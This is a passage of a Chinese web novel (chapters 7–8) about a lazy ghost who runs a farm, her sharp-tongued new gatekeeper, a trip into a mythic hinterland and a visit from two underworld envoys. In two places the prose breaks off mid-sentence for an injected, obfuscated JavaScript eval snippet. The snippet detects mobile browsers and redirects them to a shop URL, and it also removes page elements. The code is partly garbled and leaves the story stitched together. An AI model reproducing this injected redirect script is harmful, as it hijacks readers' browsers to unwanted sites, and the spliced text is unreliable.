《我的农场可以沟通三界》 7. 第 7 章 以前吃烙锅只有自己和狸花,陆首秋觉得没意思,退休的守门人都不敢跟她一个桌吃饭,觉得那样会冒犯她,他们会尊称她为首秋大人,从开始的害怕到后来的尊敬,也都是真心,就是不愿意和她做朋友,为此她还伤心了好久。 唉,谁不想要几个狐朋狗友呢,感情不需要多深,能当个饭搭子就行。 她说要吃烙锅,自己却不准备,坐在那里唉声叹气伤春悲秋。 就知道这个坑货指望不上,阮鲸落一边骂骂咧咧一边洗菜切菜,又在陆首秋的指挥下将柜子里的锅拿出来。 这是吃活油烙锅专用的,有三两层,顶层是一个碗状的小锅,放蘸水用的,中层是可以涮菜的汤锅,下层像锅盖一样的可以烙各种菜。 陆首秋喜辣,爱吃折耳根,蘸水里的糟辣椒、煳辣椒就放的特别多,碗里的灵魂折耳根更是堆到离谱的程度。 看得阮鲸落太阳穴一跳一跳的,很难评陆首秋这是吃烙锅还是吃折耳根,反正她是一点都碰不得,自己另外调了一小碗不怎么辣也没有折耳根的蘸水,她以前都不吃辣,是云黔这边的煳辣椒太香,忍不住,慢慢的也就能吃一点了。 煳辣椒的做法很简单,就是用去籽的干红辣椒炒香炒变色然后捣碎,有的地方也不去籽,看个人喜好吧。 今天的煳辣椒是陆首秋炒的,拿个小瓦片架在炭火上,边跟阮鲸落胡说八道边用筷子翻辣椒,她现在也就乐意干这点活,多了不行,她懒死。 菜有今天稻花婶给的老酸鱼,傍晚鬼寨的摊主又送了熏肉,鼓楼里还有没吃完的腌肉,跟腌鱼一样,外面一层红彤彤的辣椒,切开里面的肉是肥瘦层次分明的,可即食,也可煎炒炸蒸,口感香糯,入口即能品尝到甜、酸、辣三味,放到锅上煎熟,再配着蘸水吃,一点不腻口,还回味无穷。 在陆首秋往猫碗里丢肉的时候阮鲸落本想阻止,现实中她没养过猫,但网上云养过十几只,知道猫不能吃辣、咸这些东西,可看狸花低头嗷呜嗷呜吃的香,再看它那一身肥膘以及发光发亮的花皮毛,到嘴边的话又给咽了回去,连变异老鼠都敢抓回来的山大王,怎么会吃不了腌肉。 “它打小就这么吃,”陆首秋好像知道她在想什么,“喂猫粮它晚上会溜进我房间往床上撒尿。” 阮鲸落手里的筷子差点掉进涮锅,干笑道:“……挺有个性的哈。” “那是,也不看是谁养的猫,我这么特立独行的人,养出来的宠物能跟你们这些大俗人养的一样么。”陆首秋就不知道谦虚为何物,脸大起来能盖过天,皮厚的能当城墙。 她不停往锅里下菜,风卷残云,吃相豪放,鱼肉都吃的差不多了,篮子的菜也没剩多少,这也是仙民送来的,有小竹笋、蒲公英秧子、柴胡的小嫩芽,都是山上当季的野意儿,随便都能采一筐,集市上也有卖,颇受生人欢迎。 有仙民在农场弄大棚种菇,别的都好说,陆首秋最爱的就是口蘑,掰掉中间的蒂,正面朝上放到锅里烤,会有汁水冒出来,是不同于调味出来的自然鲜甜,一口一个,很过瘾,唯一不好就是烤的时间挺长的,等得她心焦。 阮鲸落已经吃饱了,没有离座,留那帮陆首秋烤蘑菇,不是她突然想做好人,而是看不下去陆首秋吃半生不熟的。 “你是饿死鬼托生的啊,这么能吃。”别指望她嘴里能有好话,想听好话陆首秋就得给她发工资,也不多要,一个月能到五千她都跪下喊娘。 陆首秋拿两片松茸夹住烤好的牛肋条,农场的牛羊肉也是抢手货,但再怎么抢手牧民也会把最好的那块给她送来。 阮鲸落今晚都跟着吃了不少好东西,就桌上这几盘牛肉,纹理都跟雪花似的,鲜嫩到入口即化,放外头的店起码大几千,她这种穷鬼连肉渣都舔不起。 “不是啊,”陆首秋嘴里塞了一大口肉,腮帮子鼓鼓的,话都说不清,但她还是很努力解释,“我是恶鬼,罪恶的恶。” 阮鲸落呵一声,动作粗暴的将烤好的口蘑丢她碗里,还好里面的汁没有洒出来,要不陆首秋跟她拼命。 “你倒是对自己有很清晰的认知。” 看她那小心眼的样,不就是没给发工资么,一天到晚拿这事说她周扒皮,陆首秋斜她一眼,“你老这样就没意思啊,签合同之前我都跟你讲明白了,不想做就别签嘛,签了又一直说,没见过你这样的。” 阮鲸落没好气道:“我还有得选?” 她都穷的揭不开锅了,住的地方也没有,工作又没着落,总不能一直做兼职,下个月社保都没法交,没有工作单位,自己交要一千多块钱,她正愁着呢。 那确实是没有了,谁让你得罪了人,别人又容不下你,陆首秋又开始嬉皮笑脸,“哎呀,农场这么大,我可以批块地给你种东西的啊,不是跟你说过了嘛,你又不干。” 今天阮鲸落跟村民打听过集市的物价,又问过几个进来采购的市民,确实很有赚头,她不是没心动过,现在陆首秋再提起,她就不像先前那么坚决的拒绝了,答应会考虑,等过几天再说。 她都不确定自己能在这干多久,说不定明天就跑路了。 “正好我要离开几天,你慢慢考虑呗,”陆首秋说,“我不在的这段时间你可得好好看家啊。” 阮鲸落一听就不乐意帮她烤蘑菇了,丢开筷子,“看个屁,我又不是你养的狗。” 等陆首秋走了她就把这的东西全部搬空,一样不留。 . 在阮鲸落入住鼓楼的第三天,陆首秋说走就走,就骑她养的蠢驴从寨子下方的土路晃晃悠悠离开,什么都没带,阮鲸落不仅断言她会饿死在半道上,还嘲笑她居然骑驴去而不是开车,简直脑子有病。 “车子到不了啊。”摆渡车只能穿梭于地府和人间,无法抵达她要去的地方。 农场深处是另外一个世界,有亿万年前的粗壮古树,树冠遮天蔽日,高耸入云霄,在人间已经变成化石的恐龙奔跑在丛林间,远处接连的大海烟波袅袅,鲲鹏展翅飞过,天一下子就黑了。 夜视的飞禽走兽开始活动,角逐、厮杀、捕猎,和它们共生的原始仙民对此习以为常,该干嘛就干嘛,要是觉得它们碍事就轰到其他地方去,别在自己家门口打架。 原始仙民极其彪悍,还力大无穷,能徒手打死体型庞大的恐龙,对每天打架到家门口的奇珍异兽也不心软,闭眼就是一顿揍,叉腰破口大骂:“谁把我种的玉菇给踩断了!你们这帮吃饱没事干的玩意儿,就是欠收拾,赶紧滚出我家地盘,滚——” 骂声传出去好远,嫌难听的都捂上了耳朵,不过很快又放开,屏住呼吸仔细听,咦?好像是首秋大人的歌声。 银饰盛装的女孩迈着欢快的步调在林间小道蹦跶,手中挥着一根不知道从哪里捡来的孔雀尾羽,悦耳的山歌像精灵在树梢跳跃,生灵们不再躲藏,纷纷涌出来围绕在四周兴奋起舞,叽叽喳喳向女孩问好,问她为什么这么久才来,怪想念的呢。 有只体型小巧的鸟儿落在女孩头顶的银饰上,与她告状:“山神又罚我们给她干活,还有海主,每次都给很少的报酬,跟承诺给我们的不符,您要为我们做主啊。” 陆首秋让这只调皮的小家伙跳到自己手指上,举到前面跟自己平视,点着小家伙毛茸茸的小脑袋笑道:“胡说,山神和海主一向讲理,肯定是你们又顽皮才惹她们生气。” 深处有十大仙山,分别为不周、昆仑、青丘、丹穴、章尾、长留、天帝、皇人、蓬莱、招摇,每座仙山都有一位镇守的山神,再有其余小仙山无数,与东西南北四海接连,四海各有海主,她们统管水中生灵,偶尔也会让仙山的飞禽走兽帮忙清理大鱼、神龟身上的藤壶,再把泛滥的生蚝、贝类、虾蟹运送到边界卖给外围的仙民,后者可留下自己吃,也可以摆到集市售卖,被生人奉为龙肉的猪羔斑就是从这出去的。 陆首秋隔一段时间就会来深处巡查,要是碰上连山神和海主都镇压不住的生灵,她就会出手将此物带走安置到别处,这个世界没有尽头,多的是没有被开发的地方,那些容纳罪恶、进去后生生世世都不能踏出半步的深渊是所有生灵的噩梦,它们宁可留在外面耕田种地也不愿意被送去那里。 每次它们都会先向陆首秋告状,并且暗戳戳期盼山神和海主犯事,然后被首秋大人送去渊底做苦力,陆首秋非常知道它们的小心思,说教几句罢了,不会真的把它们怎么样,能惹到她出手的生灵并不多,最近一次还是天地初开,正式分为三界的时候。 她可是情绪稳定的恶鬼,不会滥用职权的。 “稀客啊,”山神章尾出来迎她,有日子没见,免不了要打趣两句,“什么风把你吹来了,来的不是时候啊,今天可没有好菜好酒招待。” 章尾身材高挑,细卷的长发,蜜色的皮肤,是个阳光开朗的大美人,穿着很随意,嘴上那么说,但她还是邀请陆首秋去自己的小院喝茶。 章尾山顶有一棵从混沌初期就有的古茶树,树冠如云,有比翼鸟在上面做窝,偏偏枝条冒芽就是在比翼鸟孵卵期,母禽凶恶异常,任何生灵靠近都会被它叨一脸血,采摘极其不易,章尾也是费了不小的代价才摘了一小罐。 陆首秋不爱喝茶,觉得茶水寡淡,但她很爱拿古茶树的叶子煮茶叶蛋,滋味非一般茶叶可比拟,所以问章尾要走了剩下的茶叶。 章尾重重搁下茶盏,肉痛道:“你这个贪吃鬼,每次都搜罗走我的好东西,从不见你拿什么来跟我换。” “我也没有值钱的东西啊,都是些破烂,要是不嫌弃就自己去鼓楼挑咯。”陆首秋向来不要脸,笑嘻嘻将茶罐放进收纳袋。 “算了,你那也没有我用得上的,”章尾摆手,想起来又问道,“听说你新招了一个守门人,很合得来,是不是真的?” 这个消息就像风,传遍九州大地,大家都好奇,不少能自由出入深处的神怪都偷偷跑去鼓楼看过,章尾也想去的,只是近段时间没有空。 喝了一肚子茶水的陆首秋准备去往下一个地方,“是啊,我很喜欢她,下次你来,我介绍你们认识。” 章尾站起来送她到门口,“你还要去哪里?” “随便看看,采几筐玉菇,我答应了稻花婶要给她带玉菇。” 玉菇如名,质地像白玉,一种只能在深处才能生长的菌类,形像油纸伞,臂粗,口感清脆,有独特的香味,适合炖汤、清炒,不宜晒干,陆首秋惦记着阮鲸落也没有吃过玉菇,便跟种菇的仙民多要了一筐。 阮鲸落这两天的怨气大得咧,一直算手头上少得可怜的存款,就几百块,还是兼职攒下的,想申请失业补助又不符合条件,网上搜索怎么把医保账户的钱提现,加了一堆陌生人的联系方式后发现都是让她先转钱过去的骗子,气得一天到晚骂骂咧咧。 带点好东西回去给她,让她消消气,哎呀,自己真是一个很好的农场主,陆首秋为自己竖大拇指,又让仙民帮自己把玉菇送到山下,“我的驴在那,你们直接交给它,它知道看管的。” 她还想再转转,章尾山有很多好东西,现在正是蟠桃成熟的季节,可以摘两筐桃子驼回去,再顺路去南海捞几篓鱼,大扇贝也可以要点,鼓楼的海鲜存货都被她吃完了,现在又多了个阮鲸落,得丰富一下餐桌才行。 仙民按照指示抬玉菇来到山脚,看到一头黑毛驴在贱嗖嗖的招惹附近的生灵,仗着自己是首秋大人的坐骑,生灵不敢把它怎么样,就贱的让人想打。 仙民招它回来,叮嘱道:“首秋大人顺山路去南海了,不晓得何时回来,她吩咐你看好这几筐玉菇,可别丢了。” 蠢驴低头嗅了嗅附赠的那筐翡翠白菜,嘴馋,想吃。 仙民揪它耳朵,警告:“不许偷吃。” 在陆首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868413|191817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋游山玩水式的寻食材的时候,独守鼓楼的阮鲸落也迎来了惊心动魄的一夜。 晚饭没见到狸花回来吃,阮鲸落不放心,这几年偷狗偷猫的贼很猖狂,她怕狸花会被抓走,睡觉前她打手电在鼓楼附近找了一圈,还是没发现。 门头的猫头鹰也不知道上哪了,鼓楼内很寂静。 她独坐在堂屋出了会儿神,不敢相信自己也有感觉孤单的一天,明明这么多年都是自己生活,上班就上班,下班就回出租屋洗洗刷刷然后躺下睡觉,已经疲惫到没有精力感慨人生了,怎么来这住了两三天就现在这个多愁善感的德行,人果然不能吃得太饱。 低头看被视为不详的断掌,她发出刺耳的一声嗤笑。 “别吃了几天饱饭就对那个坑货感恩戴德,你算什么东西,轮得着你替人家担心么,别想了,洗洗睡吧。”她自言自语,像是在嘲笑自己。 她上楼,经过陆首秋房门前停了下来,耳边没有这个坑货瞎说八道的声音还真有点不习惯啊。 回到自己房间,她点开陆首秋的微信,想问对方什么时候回来,走的时候说去几天,几天是几天啊,又没说具体的。 上方突然跳出来一条消息,光是那个备注就让阮鲸落很烦躁。 “爸让我问你,这个月怎么没转钱。” 她低骂一声,转个屁。 “没有,以后都没钱了,有本事就让他来弄死我。” 这么一打岔她就没有给陆首秋发消息,丢开手机迷迷糊糊睡到后半夜,被楼下锲而不舍的敲门声给吵醒。 她脑子短路,以为是陆首秋回来,还骂对方出门居然忘带钥匙。 一脸怒气开了门,对上外面两张棺材脸,迎面吹来一阵阴风,所有瞌睡虫全跑光。 半夜三更出现两个陌生人,身后还停了一辆车,阮鲸落皱眉,靠,警惕心下降了,没问清楚就开门,要是不法分子,她都来不及跑,对方可是两个身形高大的男人。 “你们找谁?”她只能硬着头皮开口。 范无咎天生冷脸,不喜与生人打交道,站在边上不出声。 还是谢必安冲阮鲸落扬了个还算和善的笑容,说:“我们是秋秋的亲戚,从很远的地方过来的。” 他已经接到陆首秋有事要外出的通知,所以并不奇怪来开门的是阮鲸落。 亲戚?阮鲸落想起那天陆首秋像个神经病一样硬拉她去吃地摊火锅,提过店老板就是亲戚,她跟陆首秋认识也没几天,根本不清楚对方家里的成员构造,想来要经营这么大一个农场,光靠陆首秋自己一个人是不可能的,背后指不定是什么大家族、大豪门。 她没法确认眼前这两个人的身份,冒然放进来,万一是歹徒怎么办。 “陆首秋不在,我是她雇来看门的,”这回是真成看门狗了,“你们看这样行不行,我先打电话确认二位的身份。” 还蛮有警惕性,谢必安表示理解的点头,从兜里掏出一部银色的手机递过去,见阮鲸落满脸不解,又解释道:“是要打给秋秋的吧?那用我的吧,你的手机现在没法联系上她。” 这话说不上哪里不对,但阮鲸落就是觉得怪怪的,她半信半疑的接过手机,在上面找到陆首秋的名字,直接打了视频过去。 既然要确认身份,视频总比语音靠谱吧。 响了几声陆首秋就接了,她正坐在大鲸鱼身上出海,月光皎洁,海面波光粼粼,鲛人在远处唱歌。 镜头只扫到陆首秋的上半身和身后的一片海域,看不见其他。 阮鲸落听她那边尽是乱七八糟很吵闹的声音,很难控制不翻白眼,自己在家看门,陆首秋倒好,跑出去游山玩水,大半夜还在海上飘,怎么不掉海里淹死。 她将摄像头反转过去对准门口这俩,没好气道:“他们说跟你是亲戚,现在怎么个意思。” “对啊,是我大表哥和二表哥,他们来办事的,要在鼓楼住几天,你放他们进去就行,不用管其他。”陆首秋怕风声太大阮鲸落听不见她的声音,所以喊的特别大声。 阮鲸落堵住一边耳朵,“知道了知道了,就这样,挂了。” 非常利落,一点都不拖泥带水。 将手机还回去,她让门外的两个人进来。 安排住处的时候又傻眼,二层好像没有多余的房间了,三层往上她都没上去过。 “你们……”睡哪?她想问。 既然是表兄妹,那总比她这个打工的熟悉环境吧。 摆渡车里还坐着三个亡魂,谢必安不想节外生枝,主动说:“我们自行安排就好,你去休息吧。” 阮鲸落松了一口气,转身回自己房间。 “穿得跟黑白无常似的……”她小声嘀咕。 身后的黑白无常:可不就是,货真价实的,说出来吓死你。 睡不着,阮鲸落拿手机看了眼时间,谁家亲戚会在凌晨两点半突然上门啊,又不是家里死人需要报丧。 陆首秋也不知道跟她说一声。 越想越气,她给陆首秋发了条消息:“下次不提前跟我说有亲戚来的话,一律当贼处理。” 陆首秋没回,估计还在疯玩,这个坑货。 辗转到三点多才有点困意,又被一阵砰砰声给吵没了。 是楼下传来的,像是砸车门的声音。 她掀开被子坐起来,光脚走到门边贴着耳朵听,好奇得要死,最后还是忍不住开门出去看了。 摆渡车还停在门口,今晚引渡过来的亡魂戾气很重,在车内不肯老实,一直拍打车窗想出去,惨白的脸贴在玻璃上,正对上往里看的阮鲸落的眼睛。 “啊!啊——” 咚! 阮鲸落被吓晕在地。 闻声跑出来的黑白无常看着地上躺的人,沉默震耳欲聋。 这似曾相识的熟悉画面,唉! 8. 第 8 章 “错觉,都是错觉,车里什么都没有,是你梦游了。” 这是阮鲸落醒来后听到的版本,她觉得这个穿白衣服的‘二表哥’在骗人,鬼的梦游,她就没这毛病。 倒地那一下磕到后脑勺了,起了个疙瘩,碰一下就痛,阮鲸落坐在椅子上呲牙咧嘴,她绝对没有看错,车里还有人,要是没有那她就是见鬼了,这俩半路杀出来的表哥休想蒙她。 不过,既然人家不想让她知道,那她就假装不知道好了。 她又不清楚车里的是什么人,说不定是杀人越货,哪天警察要是来查,不知情还能保命,事不关己高高挂起一直是她的人生信条。 于是接下去的几天,阮鲸落白天都不在鼓楼多待,吃饱就去大门那边,晚上回来也在自己房间不出去,不管外面什么动静她都当做没听见。 黑白无常白天也不见踪影,车上也没有任何异常,直到陆首秋扛着几大筐东西回来,这故意避开的双方才正式坐到一张桌上。 陆首秋先去了稻花婶家里把两筐玉菇放下才回鼓楼。 兴奋的招呼站在门口冲她冷笑的阮鲸落过来搬东西,“快看我给你带了什么好吃的,玉菇,翡翠白菜,还有脸盆这么大的鲍鱼和扇贝,大海离深山远着哩,去一趟不容易,”见阮鲸落没动作,她又催促,“还愣着干嘛,搬进去啊。” 阮鲸落本来是不想动的,这几天她过的水深火热、提心吊胆,生怕自己会被杀人灭口,就等着陆首秋回来好兴师问罪,但听到对方说东西是给她带的,她这个从小就缺爱的脑子就跟抽风似的不受控制,臭着脸过去搬。 “你到底是去深山老林还是沙滩大海,玩的挺嗨啊老板。”她抱着那筐碧绿脆生的翡翠白菜阴阳怪气。 陆首秋看了看门后的两道身影,知道阮鲸落这几天过得肯定不顺心,怨气都像乌云堆积在头顶了,她抽动鼻子嗅了嗅。 哇~满足,这一路爬山涉水的不容易都值了。 她嘻嘻笑道:“哎呀,别生气别生气,下回带你一块去。” “谁稀罕。” “我稀罕,我求你跟我一块去好了吧,”她拎着其他东西跟在阮鲸落身后进去,“你说说你,脾气这么大,谁受得了。” 被说脾气大的人将竹筐丢到地上,“我就这德行,受不了拉倒。” 说完扭头又出去,看都不看陆首秋。 陆首秋冲她气呼呼的背影皱鼻子,嘀咕:“死鸭子嘴硬。” 偏偏就让阮鲸落听见了,转头,“你说什么。” 脸比狗屎都臭,还是别惹了,陆首秋宰相肚里能撑船,决定不跟她一般见识,“没有啊,我没说什么啊,快把外面的东西搬进来,好做饭吃,我都快饿死了。” “饿死活该。” 嘴上这么说,手上动作却没有停,将陆首秋带回来的东西都搬进厨房。 之前倒也听闻新来的守门人脾气不好,经常跟秋秋吵嘴,可没见过,黑白无常也不清楚到底是怎么个不好法,今天算是见识到了,这哪里是不好,简直差到没边。 秋秋好歹是她老板,就这么跟老板说话?牛啊牛啊,他们要是对十殿阎罗这态度,下十八层地狱的就该是他们了,资本家没人性,不管人间还是地府都这样。 唉,给人打工的命,衰。 “你就这么惯着她啊。” 陆首秋正在盘算等会儿让阮鲸落做什么吃,“很有乐趣啊,多么鲜活的一个人,在我跟前唯唯诺诺的才没意思。” 守门人的雇佣期限由她决定,要是觉着满意可以无限续约,前面的守门人之所以会在规定年限内退休,其实就是她觉得乏味了,那些人敬她,也怕她,生人在害怕时很难产生怨气,即使有,也不是她想要的,所以就让他们退休了。 阮鲸落这个人吧,嘴硬心软,求生存的意志很薄弱,能吃苦又不能吃苦的矛盾体,天天把钱挂在嘴边,其实对金钱的追求也就那样,她挣钱好像并不是为了自己,陆首秋知道她在老家有个记挂的人,如果没有这个人,阮鲸落早就死了,她不想活着的,这个人间对她来说是炼狱,人比鬼都可怕,也难怪每天那么重的怨气。 除了鲍鱼扇贝,还有一筐叫不上名字但样子很好看的壳类生物,都活着,很新鲜,陆首秋盘算做捞汁海鲜,便跟在阮鲸落屁股后头转圈,像大门口墙头上的鸟雀叽叽喳喳的聒噪,阮鲸落受不了,手里的菜单哐当一下砍进树墩砧板。 也不知道从什么时候开始就默认归她做饭,阮鲸落呼呼生气,“你当自己是牛有四个胃啊,什么都要吃,再吵吵今天什么都别吃了,饿着吧。” 刚一直在她耳边念叨要吃酸木瓜鱼,玉菇凉米线,折耳根包浆豆腐……就跟宫里的小太监报菜名似的,现在又要吃捞汁海鲜,把她给烦的,什么都不想做了, 陆首秋被吼的一激灵,瘪着嘴站在那对手指,委屈道:“那我风餐露宿好多天了嘛,回家想吃点好的又有什么错,干嘛这么凶……” 演,你接着演!阮鲸落狂掐人中,她要是信了陆首秋的话就是彻头彻尾的傻蛋。 就不能跟这种人生气,回回气的都是自己,她都气出内伤了,陆首秋还一点事都没有,每次花样百出,摊上这么个雇主也是自己倒霉。 陆首秋偷偷观察她的神色,怀揣着一点小心思斟酌道:“那个……你看你在农场也上了十来天的班,还适应得来吧?我虽然没有钱给你发工资,但其他东西是有的呀,就比如今天带回来的玉菇白菜海鲜鱼虾,你要看得上眼就挑点当土特产寄给亲戚朋友呗。” 没想到她会说这个,阮鲸落愣了愣,脸上的怒气还没消散,看上去有些呆傻。 她转过身去继续切菜,“留着你自己吃吧。” 能听话就不是陆首秋了,她把剩余没处理的东西分出一半单独放,啧,上哪找像她这么大方的雇主,阮鲸落真是身在福中不知福。 阮鲸落瞥见她的小动作了,抿了抿嘴,到底也没出声制止。 再没见识她也知道陆首秋带回来的这些都是好东西,别的不说,光拿一桶鲜活的东星斑就值很多钱,她上网查了做法,说清蒸最好,陆首秋非要她做酸辣口的。 “喏,酸木瓜我摘回来了。”出去了一会儿又回来的陆首秋放下篮子,里面是椭圆形的外壳很硬的木瓜。 这种长的像果又像瓜的才是真的本土木瓜,熟了是青黄色带些许胭脂红的颜色,酸味直冲天灵盖,拿来做菜可以直接代替酸醋,鬼寨夜市有家口碑很好的酸汤火锅鱼就是用这种木瓜做的汤底,而市场上见到且能生吃的木瓜学名叫番木瓜,偏甜,多半当水果吃的。 做酸木瓜鱼常用也是稻花鲤,陆首秋非要用东星斑,刮鳞去骨片成稍厚的鱼片,像这种新鲜、肉质又嫩的鱼就不用提前腌制了,那样反而破坏鱼肉的口感,再把酸木瓜切了,其他配菜也备好,做法其实都不复杂,跟做番茄鱼酸菜鱼差不多,只是口味是偏木瓜的果酸,辣度又不会像麻辣鱼那般重。 阮鲸落每下锅一个菜,陆首秋就像嘴馋的小狗儿站在灶台边咽口水,视线一直盯着咕嘟咕嘟沸腾的锅,端菜工作都是‘表哥’来完成,也就她能使唤黑白无常干这种活,换个人试试,请你去地府走一圈就知道错。 “落落你厨艺真好,”完了又多加一句对比,“比我好。” 她爱吃,但做菜水平有限,会的菜肴也不多,时常要看教程,很麻烦。 最受不了叠词的阮鲸落握紧菜铲子,忍着没一铲子挥过去,咬牙道:“别这样叫我。” “噢,小落。” “……”生无可恋,毁灭吧。 陆首秋无辜眨眼,这么好的免费厨子可不能得罪,“阿落?” 比起落落、小落这种一听就很让她抓狂的称呼,阮鲸落宁可被叫阿落,虽然土,但起码接地气。 “随你。”她放弃挣扎了。 陆首秋很高兴,开始阿落阿落的叫个没完。 “阿落,酸木瓜鱼没有放折耳根。” “阿落,烤扇贝能不能放折耳根。” “阿落,捞汁小海鲜放点折耳根吧。” “阿落……” 阮鲸落俩耳朵都是‘阿落’和‘折耳根’,已经快疯了。 “你少吃点折耳根是会死?”听,她后槽牙都快咬碎了的声音。 陆首秋教育她,“哪有人老把死挂在嘴边的,多不吉利啊。” 阮鲸落已经不想理她了,快速炒完最后一道番茄水蕨菜。 今天这顿饭阮鲸落为了照顾自己脆弱的胃,辣椒都放的很少,主食是鸡肉烂饭,一种加了薄荷碎的粘稠鸡肉粥,陆首秋不在家的这几天她就每天做一大锅,配点水蕨菜炒肉就能从早吃到晚,并且她发现那俩黑白双煞也挺喜欢吃的,放进冰箱的烂饭每天下午都会少掉三分之二。 堂屋小小的方桌这次终于满座,跑出去疯玩好多天的狸花也回来了,正趴在自己的碗边吃阮鲸落给它准备的饭,嗷呜嗷呜的,显然是饿坏了,又对阮鲸落做的饭非常满意才会发出这样的声音。 陆首秋也是肉眼可见的开心,一边跟阮鲸落介绍自己的两个‘表哥’,一边暴风吸入剥好的虾肉蟹肉以及扇贝。 出奇大、样子又怪好看的海螺用竹签一挑,顺时针旋转一圈再往外拽,就能得到完整的螺肉,将螺肉浸到酸辣咸香的汤汁里,裹上满满的辣椒和折耳根,整个塞进嘴,新鲜的螺肉很有弹性,嚼着就像是在口腔内跳舞,好吃到陆首秋说不出话,手舞足蹈。 别的不敢说,对自己的厨艺阮鲸落还是很有信心的,即使没做过的菜,看一遍教程她也能轻松学会,调味时还会换成自己认为这样做会更好吃的配方,所以尽管她做的菜肴不一定正宗,但绝对好吃。 “难怪秋秋老夸你做菜好吃,确实很有水准。”谢必安装的好像是第一吃,仿佛这几天下午偷吃鸡肉烂饭的团伙里没有他一样。 “一般吧。”阮鲸落谦虚了下。 “不是一般,是很好吃,阿落厨艺天下第一好。”陆首秋觉得特长就应该尽情展现出来,然后大方接受夸赞,这本来就是应得的,谦虚就很没必要,见阮鲸落筷子动的慢,她就催促道:“吃啊,这都是我专门给你带的,喜欢吃下次我再多带点回来。” 在深处搜罗东西的时候她想的就是阮鲸落这个小可怜,什么好东西都没吃过,作为一个合格的雇主,她肯定要对自己的员工好点,美食福利不比工资强?谈钱多俗气啊,她可不是那等庸俗的鬼。 听到这话,阮鲸落心里也说不上是什么感觉。 “谁信啊,”她缺爱的脑子还保留着一丝智商,“你就会瞎说八道。” “句句肺腑之言。”只是偶尔睁着眼睛说瞎话而已,她也不是故意的,主要怕说了实话会把阮鲸落吓到。 “信你才有鬼。” “……”你不信也有鬼啊,就在眼前,三个都是。 当着人家表哥的面,阮鲸落不想抬杠,以一句‘吃你的饭’结束。 她自己也往碗里夹了好多玉菇,这个她以前也没有吃过,甚至都没见过,质地很脆,洗的时候还不小心弄碎了好几朵,吃起来有点像石花菜,却比鸡纵还香。 带回来的玉菇很多,还有一筐翡翠白菜,口感脆嫩清甜,都是外面买不到的,陆首秋留出三分之一让阮鲸落自行处理,送人或者卖掉都随她。 阮鲸落只犹豫了几秒钟就决定搬到大门口卖给往来的市民,不过她也另外打包了一点,叫了个快递上门取件,寄回老家,收件人是她亲妈。 夕阳西下,集市已经关门,往回走的市民又抱怨今天没买到想要的东西,路过大门口看见木屋前在卖生鲜。 竹筐旁边瘫睡一只皮毛发亮的胖狸花,垂下来的尾巴像大海参,听到有脚步声靠近,狸花才懒懒睁开眼,瞳孔从竖的米粒状慢慢变圆,露出跟陆首秋如出一辙的无辜样儿,冲来人喵一声,撒娇似的,很软萌,看得几个生人手痒痒,围着它摸了又摸。 “你是鼓楼主人养的肥狸花吧,怎么在这呀?” 不少人见过它,农场的村民告诉说这是鼓楼主人养的。 “喵~~”朕这是健壮,不是肥,你们这些没有眼力见的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868414|191817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生人,真是讨厌。 “哎呀,它好可爱,好想偷回家,”围在最前面的圆脸姐姐很喜欢狸花,将它抱到怀里撸,爱不释手,“你叫什么名字呀?跟姐姐回家好不好呀?姐姐家里有好吃的猫粮哦。” 狸花费了九牛二虎之力才从她怀里逃出来,跳到凳子上舔被弄乱了的毛。 谁要去你家吃没滋没味的猫粮,朕可是喝银河水吃山珍海味长大的金贵狸花猫,是首秋大人的守护神兽,何等荣耀,怎么会去你家当没用的宠物猫。 “猫不卖,菜可以看着选。”阮鲸落从木屋里出来,她刚给老家那边打了个电话,脸色不太好,天生的哈士奇眼透着阴郁,一看就知道她不好亲近,让人害怕。 不过农场里有个性的人太多,集市里面有好多商家的脸比她还臭,脾气贼大,进来买东西的生人已经习惯了,只要货好,谁管老板是什么脸色。 “你的菜怎么卖啊?”先问价的还是那个圆脸姐姐。 “白菜五块,玉菇六块,海鲜看个头,大的扇贝50一个,小的20,海螺称斤,一斤60。”这已经是她昧着良心定出的高价了,再高她怕卖不出去。 定价的时候陆首秋就在旁边,欲言又止好几次,这个价钱跟白送没区别。 圆脸姐姐快速计算了下,就让阮鲸落帮自己挑几样,这么大的扇贝集市里面卖很贵,没个三四百都拿不下,这里竟然只要50,看着还很新鲜,确定这样做生意还有得赚? “阿妹,有没有人跟你说过,你很适合做慈善。” 正往袋子里装扇贝的阮鲸落:“……” 她反应过来自己定价低了,难怪出门前陆首秋会是那个表情,靠! 现在反悔还来得及吗?她不想卖了。 “呵呵。” 最后她还是按照定下的价格称给对方一袋海鲜,幸好是不需要她考虑成本的买卖,卖多卖少都能赚,听着收款到账的叮铃声,她心情稍微好了点,这个看大门的工作也不是全无好处嘛。 成了第一单,剩下的也很快卖了出去,阮鲸落不知道看了多少遍钱包余额,嘴角都快咧到太阳穴了,十分钟不到就赚了三千多,她终于有钱了! 全程旁观的狸花学着人的样子摇了摇头,唉,厨艺挺好,就是脑子不太好,这些生鲜拿到鬼寨那边卖给摊主,能赚好几个三千块,这人是真不知道首秋大人从深处带回来的东西多值钱呐。 . 在鼓楼滞留好几天的亡魂今晚终于可以送走,再拖下去黑白无常都该发飙了,他们现在可是被迫加班。 